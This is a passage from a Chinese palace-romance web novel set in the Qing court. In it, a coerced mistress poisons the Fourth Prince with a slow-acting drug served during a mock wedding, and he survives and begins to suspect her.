要杀他还不能当场杀,在他睡熟时杀他,她一样难逃死劫,他身边一直有人跟着,死在这里,她就是唯一的凶手。
要不见声色地杀掉一个人太难了,尤其是这人还是皇子,她不管那些历史,说不定这个世界不照着历史走,最后登上皇位的人不是他,她得想办法杀他才行,历史偏不偏移不关她的事,说不定这是个平行世界。
乌锦没法午睡,她直接起身,穿上外衣到外间坐着。
谢嬷嬷进来问她要不要摆膳,她嗯了一声。
很快炕桌上摆了四碟精致的菜,一碗饭跟一碗汤,还有一碟子切好的水果,乌锦吃的时候心不在焉,她在想有没有什么毒药吃下去不立即身亡,而是隔几个时辰才毒发,这样她就不会被怀疑。
过了半个时辰,四阿哥醒来后没有停留太久,很快离开。
乌锦在他离开后见天还没黑,她说她回家一趟,让赵师傅送她回家,他这几日应该不会来找她,她便在家中住下。
第二天,她忍不住过去药铺,没敢直接问毒药,只是挨个问那些药草的药效,问完后又随便抓了两副补血的药。
好在她的脚伤恢复得差不多了,自己能走,她又走去附近的书铺,开始找医书,抱着几本医书才回家。
乌锦着急呀,再想不到办法杀四阿哥,那死的人就是他们,她日夜翻看医书,想找到适合杀他的毒药。
五月九日,立夏,端午已过。
乌锦在她房间内看医书时,她额娘把一碗八宝粥端进来给她。
“桃子,你这两日怎么了,天天在看书,我刚从你小舅家回来,你猜我在路上碰到谁了?”
乌锦抬起头,问她额娘碰到水了。
“碰到何神医了,他回京城了,多年没见,何神医还记得我,我想着要不要送些礼过去给何神医,桃子,你觉得要送吗?”
乌锦目光一亮,额娘口中的何神医是他们家的恩人,先前她额娘生她时出血比较多,身子亏损得严重,当时有好几个大夫说她额娘活不过一个月,是何神医把她额娘给救回来的,在生完她的头两年,她额娘身子弱,一直吃何神医给她额娘开的药方,吃了两年,身子才慢慢转好的,不过也不能再生孕,她阿玛才纳的妾。
何神医被称为何神医也是因为他医术精湛,救了不少人,不过何神医这些年一直游历四方,不在京城,大家都不知道他去了哪里,想找他都找不到,渐渐的,记得何神医的人不多,乌锦还以为何神医不会回京城了。
“额娘,我出去一趟。”
“你这孩子,莽莽撞撞的,这是要去哪?”
乌锦没理她额娘在后头叫她,她急匆匆出门,何神医无妻无儿无女,当年就是孑然一身,不过他有一处旧宅,这
么多年那旧宅也一直在那,无人居住。
乌锦还记得那座旧宅在哪里,她走过去,见那座旧宅似乎有被重新收拾过的痕迹,朱色大门这么多年也掉漆变得破旧斑驳,不见朱色,但今日这大门很明显被擦拭过,上面没有灰尘。
她敲了敲,发现门没关,顺着推门,发现里面有不少人,走进一听发现这些人都是过来看诊的,看来还是有不少人记得何神医。
何神医就在家支起一方木桌,就这样接诊,何神医医术精湛,但比起一些从宫里退下来的太医,他收费一向便宜,有些家境贫寒之人,他还不会收费。
乌锦上前,结果被人拉到后面,说不许插队,大家都排队呢,她见人多,没有逗留太久,很快离开。
一直到傍晚,天黑时,她才折返回来,还提了食盒过来,这个时候的旧宅已经没什么人,她走进去,喊了一声何神医。
十几年没见,何身医从四十多岁的老头变成五十多岁的老头,他留着八字胡,身形瘦削,穿着一身灰色长褂,除了眼神矍铄,其实看不出来他是医术精湛的大夫。
“你是?”
“何神医,你不记得我了?我家住在石桥胡同那边,我叫乌锦,我七岁的时候脸被烫伤,何神医给我治过烫伤。”
“是你,我记得你,你以前还是小姑娘呢,竟然长这么大了,你脸上怎么还有这块疤?”
见何神医还记得她,乌锦笑了笑,说道:“我有十几年没见何神医了,十几年过去,我就长这么大了,何神医记忆真好,还记得我。”
“你果真不想嫁人,你是第一个跟我说你不想治好脸上伤疤的人,我想不记得你都难,你还没嫁人吧?”
何神医声音变得苍老许多,不过还是跟以前一样和善,乌锦见过的人当中,何神医是最大仁大义、高风亮节的,他有着医者最纯粹的仁心跟善心。
“我还没嫁人,我给何神医带些吃的过来。”
何神医笑道:“乌姑娘有心了,我还真的什么都没吃,这会正饿着,进来吧,你额娘还好吗?”
乌锦跟着何神医进屋,她把食盒里的膳食拿出来,跟何神医说她额娘很好,这些年身子一直没有大碍。
“你脸上的疤是还不想揭下来吗?”
乌锦笑着摇头,说她就这样挺好的。
“不知道何神医这些年口味有没有变,我让我额娘做了一些何神医以前爱吃的菜。”
何神医说他常年行医在外,对吃的不挑剔,什么都能吃,乌锦把准备好的筷子递给他。
何神医边吃边说他这十几年来的见闻,把她当成朋友一样跟他闲聊,乌锦时不时附和他两句,这顿饭,何神医吃得不快。
吃完后,何神医放下筷子,看向她,说道:“乌姑娘,你说吧,你这次想要什么。”
何神医有一双能洞察人心的眼睛,乌锦觉得自己在何神医面前无所遁形,她还算沉静地说出她想要什么。
“乌姑娘,我是治病救人的大夫。”
“何神医要救的人是我,何神医要是不帮我,我可能就会丧命,不仅是我,我们一家人都可能会死。”
“你要杀之人是不是身份尊贵,身居高位之人?”
乌锦点点头。
“他想杀我,死的不是他的话,那便会是我,还请何神医救我一命,那人该死,何神医,我一定要杀他来保住我们全家人的命。”
“冤冤相报何时了,乌姑娘,万事都可商量,为何非要走上取他人性命的绝路。”
乌锦轻笑,笑中带有苦涩:“是啊,我也想知道为何会走上绝路,他为何不给我一条生路,非要把我往绝路上逼,何神医,不管你给不给我毒药,我都一定会杀他,我知道这个请求强人所难,但我别无他法了,还请神医一定要帮帮我,人是我杀的,跟何神医无关,何神医无需愧疚。”
“他为何要杀你?”
“权贵杀人哪需理由,他们想杀就杀,自古以来,他们仗着权势欺压百姓,不是一直如此嘛,我们哪里抵抗得过,我又何尝想手上沾鲜血,我不过是过平淡普通的日子,只是那人不肯放过我,我不能眼睁睁地看着他肆意妄为,而我只能长眠地下,明明我什么都没有做错,错的人是他,不是我,这世间太不公平,人分三六九等,在那些权贵眼里,我们的性命轻如鸿毛,可在我看来,我的命一样宝贵,我不想就这样无辜被杀,何神医,你帮帮我。”
乌锦眼含热泪恳求道。
第60章第60章更新
第60章
乌锦开始准备两件大红色礼服,一件描金绣龙的新郎装,一件描金绣风的新娘装,还有珠花跟旗头。
她让谢嬷嬷她们将内院布置得喜庆一些,院内入目均是大红色,张灯结彩,连床褥锦被都换成红色,她也买了一点喜糖喜饼,她跟谢嬷嬷她们说她要跟四阿哥假成亲时,她们很是惊讶,那神情仿佛是觉得她魔怔开始臆想了。
她跟她们说四阿哥已经同意,到时候她们两便是见证人。
一切准备就绪后,她挑了一个日子让人传话给四阿哥。
五月二十五日,这是她跟四阿哥约好假成亲的日子,乌锦不知四阿哥什么时候从宫中过来,她一早便让谢嬷嬷她们给她化妆穿戴,将她的一些金银珠钗都戴在发髻上。
谢嬷嬷给她描眉的时候说道:“乌姑娘,其实按照习俗,这大喜的日子该是你额娘给你描眉梳发。”
本来就是假成亲,乌锦自然不想把那么多人扯进来,尤其是她的家人,她浅笑道:“谢嬷嬷,四阿哥能答应跟我假成亲已经是他宽厚仁慈,圆我心中的念想,我们又不是真的成亲,不用在乎那么多细节,谢嬷嬷这两年来更是待我如亲生,你就是我半个娘,由你来给我描眉也算是遵习俗了。”
谢嬷嬷忍不住红眼眶:“乌姑娘,我能伺候你才是我的荣幸,今日我就当乌姑娘半个娘,送乌姑娘出嫁。”
乌锦握了握谢嬷嬷的手。
过了一会儿,她打扮好后就端坐在铺炕上,等四阿哥过来,他一般在午时左右过来,这不是真的成亲,他不会在这里过夜,只会在这里待上两三个时辰。
到了巳时初,谢嬷嬷就进来说四阿哥过来了,她让谢嬷嬷把另一套新郎服给四阿哥,让四阿哥穿好再进来。
她自己则盖上喜帕,遮住脸庞,不知过了多久,她听到脚步声越来越近,感觉到有人站在她面前,她伸手摸了摸。
“是我。”
“主子爷,我等你许久了,我还以为爷反悔了呢。”
胤禛不是第一次成亲,先前迎娶福晋时,他就穿上过新郎服,不过那时围观的人众多,喧闹无比,而不是像现在这样安静,他抓住乌锦的手,“不会反悔,我们来拜堂吧。”
“好,我们就直接在这拜堂吧,爷,搀我下来。”
乌锦下了铺炕,站在铺炕前面,让谢嬷嬷她们在一旁见证喊话,从一拜高堂、二拜天地、再到夫妻交拜,她紧紧握着四阿哥的手一起跪拜,她盖着帕子,看不到四阿哥的神色,听到送入洞房几个字时,她才让谢嬷嬷她们退下。
屋内静悄悄的,她让四阿哥先给掀喜帕,喜秤就在一旁。
“你不像是第一次成亲的人。”胤禛见乌锦娴熟地告诉他该怎么做,比他这个成过亲的人还了解,他拿来帮着红绸花的喜秤将喜帕揭开,露出她的脸,第一眼的时候是有惊艳的,因为她精心打扮过,平日里很少穿金戴银的她此时缀满金银首饰,一下子显得贵气许多,粉白黛黑,面若桃花。
“爷,你会不会说话。”
胤禛笑了笑,捧着她的脸在她唇上轻啄一下。
“还不行,你别把我的口红抹掉了,我们还得喝合卺酒,先喝酒。”
乌锦在拿炕几上的酒壶,给他们一人倒一杯酒,一杯递给四阿哥,笑意盈盈地说该喝交杯酒了,她主动勾着四阿哥的手,见四阿哥仰头就是一饮而进,她把他的酒杯拿下,紧紧抱住他。
“主子爷,该洞房了。”
“你高兴了。”
乌锦点点头,笑道:“我太高兴了,谢主子爷圆我的梦,愿意跟我假成亲,让我当一回新娘子。”
胤禛托起她的下巴,再次亲下来。
乌锦看似满腹柔情地回应他。
两人慢慢倒到床上,这一次四阿哥倒是很温柔,没有急躁。
“爷今日怎么待我这么好。”
“念及你是初次,总得疼惜你一些。”
乌锦乐得直笑,搂着他的脖子,娇笑道:“你还真的入戏呀,你以前怎么没想着疼惜我一些,你不知道我吃了多少苦头,都是拜你所赐,你还好意思说。”
“以后不会了。”
“男人的嘴信不得。”
胤禛什么也没解释,只管堵住她的嘴。
两人很快缠在一块。
这“洞房花烛夜”久了一些,乌锦到最后累得连手都抬不起来。
胤禛瞧她脸色红扑扑的,香肩尽露,青丝散开,额间也出了一层汗,眼里透着春意,他俯下身贴着她的唇。
“别亲了,我舌头都麻了,主子爷还想亲到什么时候,不许再亲,我累了。”乌锦推了推他,躲开他的亲吻。
“你这身子骨得补一补,总是动不动就喊累,方才明明是我动得比较多。”
乌锦白他一眼,不想跟他说话。
胤禛轻笑出声,到底是没再折腾她,只是把人搂到怀里,说他今晚留宿在这。
“别闹,你留在这过夜的话,宫里的人不就知道你彻夜未归,他们肯定会怀疑是我勾着你,认为我是狐狸精,成天缠着你不放,我本来就有很多人盯着,在风头之上,你别火上加油了,还怕火烧得不够旺嘛。”
“你不是要洞房花烛夜吗?不过夜怎么算是洞房花烛夜,得彻夜燃烛才行。”
“爷,你已经圆我的念想了,这就足够了,不需要更多,我不贪心,你还是赶紧回宫吧,要是皇上晓得你彻夜不归,会认为你沉湎女色,你少不得被训,我可不想当狐狸精。”
“知道了,会回去的。”
乌锦这才暗自松口气,他说会回去,但四阿哥还是待到快天黑才启程回宫,她算着已经过了三个时辰,何神医给她的毒药是十二时辰后开始见效发作,他要是在这里过夜,她恐怕难逃嫌疑。
把人送走后,乌锦瘫软地坐在床上,捂着自己的心口,还好没有露出任何异样,她觉得她今天格外镇静,都到这一步了,她不能有破绽。
她把剩下那壶酒倒在角落里的盆栽中,倒入土里,将酒壶跟酒杯都收起来,她晚膳也没怎么吃,到了夜里,她反而睡不着,辗转反侧,到了后半夜才睡过去。
翌日一早,乌锦便让谢嬷嬷跟瓜嬷嬷出门替她买东西,她把酒壶酒杯埋在院子里,挖了一个深坑埋下去。
只要太医院那些太医查不出四阿哥中的是什么毒药,他们也就没法知道四阿哥是什么时候中的毒,隔了十二时辰,将近一天,四阿哥回去之后接触到的人跟物都有可能害四阿哥中毒,而不是怀疑到她这边。
……
胤禛一早起来听说福晋病了,他过去看福晋。
福晋让他别靠太近,省得把病气传给他,胤禛想到上次乌锦生病,她也是让他别靠近,结果他没听,就被过到病气,于是这次他就真的没太靠近,只叮嘱福晋好好养病,吩咐奴才照顾好福晋。
看完福晋后,他又过去看看弘晖,弘晖还小,话都不会说,他只问奶娘弘晖近几日的情况,问完后就离开。
他见到奴才带着大格格在后院里玩,他把大格格叫过来,询问大格格近几日都做了什么,四岁的大格格口齿伶俐,把从早到晚做了什么一一说给他听。
他怜爱地摸了摸大格格的头,说过几日有空带她出宫玩。
大格格高兴地直拍手,让他一定要记得承诺,胤禛笑了笑,说他一定会记得的。
小孩子都是向往出宫玩的,大格格很少有机会出宫,他如今被封为贝勒,等建府的银两下来,贝勒府建好后,他们住在宫外,出宫的机会就多了。
胤禛也希望尽快出宫居住,于是他回书房后开始画府邸院落图,画着画着,他想起一事,把苏培盛叫进来。
“你去看看今日周太医有没有在太医院当差,若是当差,把他叫过来。”
“嗻,奴才这就去。”
吩咐完后,胤禛继续画图,过了一会,苏培盛回来说周太医今日不当差,他嗯了一声表示知道了。
他找周太医是想让周太医给乌锦看诊,这两年乌锦每次事后喝避子汤,先前就因月经不调找过周太医,想必身子有损,他想让周太医去给乌锦调养身子,往后那避子汤可以不用再喝。
想到昨日跟乌锦假成亲的画面,胤禛就不由地笑了笑。
不知不觉中天又黑了,胤禛的府邸院落图画了一半,想着明日出宫再过去实地考察一番。
傍晚,他一个人用膳。
到了戌时初,入夜后,他就歇下了,不知过了多久,胤禛被疼醒,只觉得五脏六腑被挪位一般,内里绞痛。
他连忙叫人,因为疼痛,他出的声并不大,但守夜的奴才听到了。
“主子爷,可是有事?”
“叫……叫太医,去叫太医。”
胤禛直接吐了一口血。
这下把奴才吓坏了,急急忙忙喊人,顿时前院的烛灯亮了,不少人听到动静醒来,今晚苏培盛没有守夜,不过身为四阿哥的贴身太监,外头有动静,他就起来了,问小太监出什么事了。
“苏公公,主子爷吐血了。”
苏培盛吓得赶紧穿衣,忙不迭地朝四阿哥的主间走去,问守夜的奴才请太医了没有,他到屋内后见到地上的那一滩血,他脸色一白,还真是吐血了。
“主子爷,快快快,叫太医,快叫太医。”
苏培盛见四阿哥脸色发白,一直捂着心口的位置,疼得说不出来话,他是真的吓坏了,又差人去通知皇上,还有福晋。
“主子爷,你怎么了?这是怎么了?”
胤禛也不知道自己怎么了,他突然间变成这样,在宫中多年,他意识到自己有可能中毒了,有人想害他,他挣扎着说出中毒二字。
苏培盛一听,更是吓得脸色发白,中毒?四阿哥竟然中毒了,这可不是小事,他见到四阿哥刚说完就又吐一口血,他让人把续命丸拿过来。
这续命丸是性命垂危之人用来续命的,只能续命,不能救命,数量稀少,四阿哥这边也只有两颗而已。
其它奴才不知续命丸方在何处,苏培盛亲自去拿,等他把续命丸拿过来时,福晋等人也到了屋内。
福晋比他们还稍微淡定一些,让人去煮参汤,把他手里的续命丸拿过来后就往四阿哥嘴里塞,四阿哥没法下咽,她让人拿水过来,用水灌下去。
这续命丸吃下去后,四阿哥才开始不吐血,今晚在太医院当值的太医通通都过来,他们这才让开位置给太医。
“通知皇上了没有?”
“回福晋,奴才让人去通知皇上了。”
苏培盛发现福晋的身子也是颤抖的,福晋也害怕,李格格这几日临盆,这屋内血腥味很重,福晋让李格格先回去,
省得她突然破水添乱,这个时候主子爷更重要。
皇上也过来了,一听四阿哥有可能中毒,脸色顿时一沉,立即让人把内务府总管还有禁卫军总管叫过来。
过了一会儿,住在乾西所的阿哥们也过来了。
这一晚上,西三所灯火通明,亮如白昼。
四阿哥已经昏迷过去,脸上有着明显的紫黑之气,这症状是中毒无疑,皇上让人去把没当差,在宫外的太医都叫进宫。
苏培盛见到在场的太医都有点束手无策,他们不知道四阿哥中的是什么毒,谁都不知道四阿哥什么时候中的毒,今日四阿哥一天都没有出宫。
皇上他们盘问今日接触过四阿哥的人,只是没有眉目跟头绪。
太医们先给四阿哥喂催吐的药,让四阿哥吐出胃里的东西,续命丸又喂进去一颗,皇上让人把他那边的续命丸拿过来,只要能救四阿哥的命,喂进去多少颗都可以。
时间耽搁得越久,这毒素入体就越深,一群太医们商量着对策,因为他们不知道中的是什么毒,无从对症下药,唯一想出的办法是以毒攻毒,只是以毒攻毒风险极大,稍有不慎,四阿哥便有可能没命。
太医们询问皇上的意见,皇上脸色沉重,迟迟没有点头,还是德妃娘娘让太医一试。
太医们分头行动,过去太医院那边拿毒药草,又给四阿哥施针,想控制四阿哥体内毒素的蔓延。
苏培盛在一旁大气不敢出,只盯着四阿哥那边。
天亮之时,太医院所有德高望重的太医都聚在西三所,折腾了快一夜,这以毒攻毒的方法有些见效,四阿哥吐出不少黑血。
等四阿哥脉象稍微平稳一些,皇上跟德妃娘娘才离开阿哥所。
清晨,距离四阿哥毒发已经过去三个时辰,苏培盛守在床边,连福晋她们都守在房间内。
四阿哥这回是险些丧命,这毒素也只是解了一半,太医院的院判穆察太医说四阿哥体内还有残留的毒素,四阿哥能不能醒来还不一定,若是毒素入脑,说不定还会成傻子。
他们不敢歇息,都盼着四阿哥醒过来。
昨日给四阿哥做膳的人已经被拉去慎刑司审问,但估计审不出什么,还得看四阿哥醒来记不记得他接触过什么。
一日过去,两日过去,到第三日,四阿哥才幽幽转醒。
他们喜出望外,穆察太医给四阿哥把脉过后说四阿哥是捡回来一条命,至少脉象平稳。
四阿哥开口说话时,意识也清晰,没有胡言乱语,也没有变成傻子,四阿哥后院的人纷纷歇一口气。
过了一个月,四阿哥身子才真正有所好转,各种名贵药材吃了一个月,太医轮流医治了一个月,四阿哥身上的毒素才解得差不多,只是太医们仍然不知道四阿哥中的是什么毒,查遍医书只有几个猜测,但不敢下定论。
苏培盛端来药碗。
“我来吧。”
苏培盛把药碗递给福晋,福晋给四阿哥喂药,边喂边说:“宫中所有人都查遍了,也审问过了,没有人承认给主子爷下毒,皇阿玛说会继续追查下去,但我估计是查不到什么了,爷,你觉得会是谁?”
“谁都有可能。”
苏培盛瞥了一眼福晋,心想这宫中是所有人都查遍了,但宫外的还没查,他心中有猜测,但不敢说,他总觉得四阿哥也隐隐猜到什么了。
这下毒之人绝对是奔着要主子爷的命去的,要是晚一两个时辰被发现的话,主子爷绝对会没命。
“李妹妹那日受惊,提前几日破水,好在母子平安,李妹妹正在坐月子,她也记挂着爷,只是她这会身子弱,不能过来看爷。”
“让她好好休养,不用过来看我,她又不是太医,孩子,你们也照顾好。”
福晋点头应是。
四阿哥这会身子也弱,喝完药就又躺下歇息了。
福晋等人离开后,苏培盛守在床边,他这一个月忙前忙后也累坏了,不知不觉就站着打盹,隐隐约约听到主子爷在叫他,他立即睁眼,抖了抖脑袋让自己清醒一些。
“主子爷……”
“她在做什么?”
苏培盛疑惑,主子爷口中的她指的是谁,他试探开口:“乌姑娘那边没什么消息传过来,乌姑娘应该不知道四阿哥中毒的事。”
“呵……”四阿哥突然轻笑一声,在苏培盛看来,四阿哥这笑有些诡异。
“去查她这一个月都做了什么,我要知道她每一日都做了什么!”
苏培盛连忙应是,他走出去,六月的阳光有些刺眼,他不由地眯了眯眼睛,心想乌姑娘那边怕是要出事了。
苏培盛亲自出宫一趟,花半天问清乌姑娘这一个月都做了什么,回宫时又觉得奇怪,因为乌姑娘其实什么都没做,还是跟以前一样大部分时间刺绣,偶尔回家一趟,或是去铺子那边,行踪并无异样。
他转念一想,乌姑娘都敢给四阿哥下毒,想要杀四阿哥的人,就凭乌姑娘这份心性,又怎么会表现出惊惶失措,只怕在这个时候,乌姑娘越会表现出镇定沉着,不会让别人看出她的异样,他是真的看不懂乌姑娘,他还以为乌姑娘对主子爷是有几分喜欢的,怎会想杀主子爷?
人证物证都没有,哪怕主子爷审问乌姑娘,乌姑娘也不会承认吧,只是除了乌姑娘,他也想不出是谁要置主子爷于死地。
主子爷是在第二日毒发,穆察太医说有些毒药是有滞后性的,可能隔一天两天才会毒发,这不正对上了嘛,主子爷去了乌姑娘那里后,第二日就出事。
况且皇上要彻查此事,四阿哥这边也有点不配合,自始至终都没有说他毒发前一天去过乌姑娘那里,所以皇上也查不到乌姑娘那里,等于是四阿哥主动撇去乌姑娘的嫌疑,有意替乌姑娘隐瞒。
真正的凶手不查,查其他人当然得不到结果。
苏培盛叹口气,只觉得主子爷跟乌姑娘是冤家也是仇家,主子爷当初是选错人了,怎么会强迫乌姑娘当外室,他是没有见过乌姑娘这样的女子。
要说乌姑娘想杀主子爷,那也是情有可原,主子爷起初待乌姑娘真的不算好,拆散乌姑娘的姻缘不算,还虐待过乌姑娘好几次,弄得乌姑娘满身是伤,最开始还把乌姑娘的心上人差点弄死,这一件件一桩桩加起来,乌姑娘对主子爷有恨也无可厚非。
原先他还觉得乌姑娘有大造化,只是乌姑娘这性子,他觉得还有的磨,经过这一遭,四阿哥对乌姑娘的心思变成什么样,他也摸不清。
苏培盛回宫后将乌姑娘这一个月以来的行踪告诉主子爷,主子爷只是淡淡地嗯了一声,看不出在想什么。
“主子爷,十四阿哥求见。”有人进来通禀。
“让他进来。”
十一岁的十四阿哥走进来,一身锦衣,唇红齿白,眉清目秀,十四阿哥跟四阿哥是一母同胞,兄弟两长得有几分相像,但十四阿哥长相更随德妃娘娘,没有四阿哥那么刚硬,十一岁的十四阿哥连个头都跟四阿哥相似,已经比十三阿哥高了,当年四阿哥也是如此,十二三岁的时候已经比三阿哥高了。
“四哥,你好些了吗?”十四阿哥上前问道。
“好多了,你今日不用去上书房吗?”
“我想过来看看四哥,上书房不用去也行,我反正不喜欢读书,四哥,你是真的好了吗?我看你瘦了好多。”
十四阿哥直接坐在床沿边,看着四阿哥说话。
“真的好多了,不用担心。”
十四阿哥说道:“你是我哥哥,我怎么能不担心你,四哥,你得多吃饭,不能再瘦了,我今天就在这里陪四哥用膳。”
四阿哥笑着点头。
60-70
第61章第61章更新
第61章
胤禛跟德妃这个生母关系相对生分,但对一母同胞的弟弟还是存着几分亲近之意,兄弟两关系融洽,十四对他也有依赖,这一个
月,十四几乎每隔一天都会过来探望他,当然可能十四只是想逃学,不想去上书房。
皇阿玛的孩子多了,他管不过来,可能也不想再管,新鲜劲已经过去,想当初他跟大哥他们每日天不亮就要去上书房,风吹雨打,冰天雪地都得去上学,连请假都不能请,除非生重病,不然他就得按时去上书房念书,若是逃学,皇阿玛肯定会将他们狠狠训斥一顿,还会罚抄四书五经。
如今皇阿玛对十四他们就宽容许多,睁一只眼闭一只眼,管得不严,前一批儿子跟后一批儿子有着不同的待遇。
胤禛撑着虚弱的身子陪十四用膳,过后又睡一个时辰,现在他的身子还没完全恢复,精力大不如从前。
当他再次醒来时,他才坐起来,到书桌前拿来纸笔写字,看一看户部那边递过来的折子,处理积攒下来的公务。
乌喇那拉氏过来时便是见到主子爷坐在书桌前处理公务的样子,她略显心疼道:“爷,你身子刚好,怎么不好好躺着。”
“躺了一个月,已经躺够了。”
乌喇那拉氏至今都不敢回想那晚的画面,四阿哥那晚吐的黑血一茬接着一茬,她都以为四阿哥活不过那晚,哪怕已经静养一个月,四阿哥此时仍然很虚弱,肉眼可见地瘦了一圈,太医说四阿哥的身子有损,能不能养回来都不一定,谁给四阿哥下的毒,目前还没有找到凶手。
“爷还是别看太久,身子要紧。”
胤禛点点头说他知道了,他又问一句李氏的身子如何。
“挺好的,快出月子了,只是小阿哥这两日有些低烧,我已经让太医过来看过了,爷不用担心。”
胤禛伸手握住福晋的手,沉声道:“有福晋料理这后院事务,我一直都很放心,这段日子辛苦你了。”
“这是我份内之事,我只盼着爷能长命百岁,爷以后可不能再这样吓我了。”乌喇那拉氏紧握四阿哥的手,跟他十指交扣,仍心有余悸,四阿哥是她们这些人的天,四阿哥若是没了,她们孤儿寡母在这后宫肯定会被轻视,弘晖还这么小,还没到立起来的年纪。
“大难不死必有后福,不必太焦虑,你看我不是还好好活着嘛,别担心,我还要看着弘晖结婚生子呢。”
乌喇那拉氏一听到弘晖的名字,眉眼不由放柔:“爷,弘晖都还没学会翻身,结婚生子怕是久远了一些,不过爷肯定能等到那一日,你是弘晖的阿玛,弘晖还要跟他阿玛学骑马呢,要让阿玛教会他骑马。”
胤禛听到教会骑马这几个字,想到某个人,脸色微微一沉,很快收敛,再看向福晋时又是很温柔的神情。
傍晚,胤禛跟福晋一块用膳。
胤禛就在宫里好好静养,时不时有人过来探望他,连皇阿玛朝务繁忙的人也时不时让人过来问他恢复如何。
又过一个月,到了七月初,胤禛才觉得自己身子恢复大半,而他已经有两个多月没出宫,见苏培盛站在一旁,他似随口问一句那人在做什么。
“乌姑娘她还是跟往常一样,刺绣居多。”
正巧有小宫女弓着腰进来,把主子爷要喝的汤药端进来,苏培盛见四阿哥原本还是冷静的模样,忽然把药碗摔翻在地,里面温热的汤药全洒出来,有一部分溅到小宫女身上,吓得小宫女扑通一声直接跪地,整个人颤抖,不知自己做错了什么。
端上来的汤药还好都是温热的,不然小宫女恐怕要受伤,苏培盛心里都一颤,这是四阿哥第二次问起乌姑娘,上一次问已经是一个月以前。
苏培盛已经知道四阿哥对乌姑娘有几分看重,不然以乌姑娘做的事,四阿哥早就可以让人秘密处死乌姑娘以及乌姑娘一家,然而乌姑娘如今不仅好好活着,甚至什么责罚都没有,日子过得清闲悠哉,四阿哥压根不舍得杀动乌姑娘,舍不得动,那就只有自己憋屈,自己憋屈还不算,乌姑娘那边恐怕还毫无觉察。
“滚出去!”
苏培盛示意小宫女赶紧收拾收拾出去,这汤药四阿哥喝了两个月,估计早就不想喝了,不过他还是让人重新熬煮一份。
“你也滚出去。”
苏培盛愣了一下,见四阿哥是在说他,他也只好出去,想着也好,免得四阿哥撒气在他身上,走出去后,他侧耳听着里面的动静,里面安静得很,其实四阿哥在宫里很少发怒,大多数时候都忍着,这是四阿哥为数不多在他们面前失控,想来是憋气憋了两个月的缘故。
……
其实乌锦这两个月过的也是胆战心惊,并没有表面那么安生平静,尤其是她没听到什么坏消息,本以为四阿哥很快就会毒发身亡,宫中传来噩耗,然而两个月过去,毫无动静。
她就知道人被救下了,四阿哥还活着,明明是毒药,人怎么能还活着,他活着,死的也会是她,她就像是被押到刑场,脖子上悬着铡刀的死囚犯,只是这铡刀什么时候落下来,她不得而知。
她等啊等,两个月过去,这铡刀还没落下来,她每日过得提心吊胆,总觉得会冲出一帮人强行给她喂毒药,送她上路。
不做亏心事不怕鬼敲门,她这是做了亏心事,夜里总怕鬼敲门,这两个月寝食难安,又不能在谢嬷嬷她们面前表现出异样,她想着那人过来问她,她就死不承认,咬死不是她给他下的毒。
只是那人是个疯子,他若是怀疑到她身上,她承不承认都得死吧。
七月十日白天,外面正在下雨,雨雾蒙蒙。
乌锦正在屋内做鞋子,做好的鞋垫放在箩筐内,准备做鞋身,她刚想换粗针时,余光瞥见一道身影,她抬头,那人不声不响地出现,真是够吓人的。
只见四阿哥穿了一件蓝地宝相花纹的褂子,卓然而立。
这个场面她已经在脑子里幻想过许多遍,每一遍她都让自己别慌张,别露出破绽,他接触的人那么多,想害死他的人也不少,他又怎会知道是她给他下的毒,于是她逼迫自己冷静,开口道:“爷,你怎么来了?你怎么走路没声?”
“我不能过来吗?在做什么?”
“我准备纳一双鞋子,先前的鞋子磨破了,爷,你怎么瘦了?”
“天热,食欲不佳,胃气不和。”胤禛过去坐在铺炕上,扫一眼炕几上的东西,视线又落回到乌锦身上。
乌锦很自然地问他有没有淋到雨,她让谢嬷嬷煮一碗姜汤过来,她絮叨,像是在话家常:“天热也不能不吃东西,可以吃点清淡或是酸辣开胃的,况且这才入夏多久,谢嬷嬷昨日买了香瓜,七月的香瓜很甜,要不主子爷吃点香瓜。”
“嗯。”
乌锦便把谢嬷嬷叫进来,让她切点新鲜的水果过来,她把那些装着针线的箩筐收起来,她这里没有冰块,好在今日下雨,屋内有些阴凉,怕四阿哥热,她主动拿起竹柄纱地圆扇给他扇风。
“过来。”
乌锦过去,倚在他身上。
“你这两个月吃得不好吗?肉都没了。”胤禛摸了摸她的腰,说道。
“没有,吃得挺好的,明明有肉,我一坐下来这肚子好几层肉,我下巴也有好几层肉,我真成了大胖子,爷肯定会嫌弃我。”
乌锦感觉到他的手在她腰上游移,她本来就穿得单薄,能清晰感觉到他掌心的温度,她微微仰着脑袋,视线跟他对上时,她主动亲他,他也没有拒绝,另一只手勾着她脖子。
这个吻很缠绵很漫长,乌锦觉得自己整个人被温柔地包裹住,到后面,她的
外衣全部被脱掉时,她才推了推他。
“别在这里,去里面吧,万一谢嬷嬷突然进来呢。”
乌锦拉着四阿哥去里间,等她给四阿哥脱掉身上全部衣裳时,她才惊觉他是真的瘦了不少,穿着宽松的褂子还看不出来。
“爷,你怎么瘦了这么多?”
“先前病了。”
乌锦顺着他的话说:“所以爷才会这么久都不过来,什么病?为何爷不让人过来告诉我一声?”
“告诉你也无济于事,只能在宫里养着,如今都好了,不用担心,我福大命大,人家说祸害遗千年,我一时半会死不了。”
乌锦露出担忧的模样,说道:“爷,别说傻话,什么死不死的,你是要长命百岁的人。”
胤禛盯着乌锦的眼睛,平静道:“你希望我长命百岁吗?”
“我当然希望主子爷长命百岁,爷,你真的痊愈了吗?要不要请大夫过来看一下,虽说宫中太医多,但宫外也有许多医术精湛的大夫。”
胤禛将她额前的碎发撩到耳后,他温声道:“已经没有大碍,不用请大夫,现在你只需要好好服侍我,两个月不见,你可想我?”
“当然,只是我不敢让人传消息到宫中。”
“以后可以传,想见我的时候可以让赵伟平传话给我。”
乌锦点点头说她知道了,她又亲了亲四阿哥,两人很快缠在一块。
许是四阿哥身子虚弱,没多久就结束了,乌锦也不敢说什么,毕竟她是罪魁祸首。
两人躺在床上时,其实各怀心事,事后,四阿哥依旧搂着她,夏日闷热,她出了一层薄汗,想退到床边时,他不肯松手。
“主子爷,热。”
“往后我让人送冰块到你这。”
乌锦抬头,“爷说的是真的?我这里能有冰块吗?需不需要花银子,要是花银子,那就算了,我能熬过去的。”
“不用你花。”
乌锦露出笑脸:“那真是太好了,每次到了夏天,我都要挨热,热得受不了,要是有冰块,至少我能吃冰镇西瓜,冰镇绿豆汤,冰镇八宝粥,我阿玛当佐领的时候,我们家每个月只可以领两次冰,每回只有几斤,压根不够用。”
“放心吧,这次够用,你想吃什么都可以。”
“谢主子爷。”
“睡一会吧。”
